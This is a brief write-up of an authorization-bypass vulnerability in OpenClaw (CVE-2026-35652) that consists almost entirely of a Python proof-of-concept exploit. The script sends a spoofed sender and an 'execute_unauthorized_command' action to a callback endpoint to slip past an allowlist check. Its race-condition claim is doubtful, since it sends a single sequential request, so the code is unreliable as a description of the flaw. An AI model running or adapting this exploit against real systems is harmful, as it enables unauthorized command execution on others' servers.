CVE-2026-35652 OpenClaw授权绕过漏洞

import requests # Target URL (Example) target_url = "http://example.com/openclaw/callback" # Malicious payload to trigger action handler # The goal is to dispatch the callback before the allowlist check completes payload = { "sender": "[email protected]", "action": "execute_unauthorized_command", "dispatch_immediately": True # Trigger the race condition } try: # Send the request attempting to hit the race condition window response = requests.post(target_url, json=payload) if response.status_code == 200 and "success" in response.text: print("[+] PoC Successful: Authorization bypassed and action executed.") else: print(f"[-] PoC Failed: Server returned {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error during exploit execution: {e}")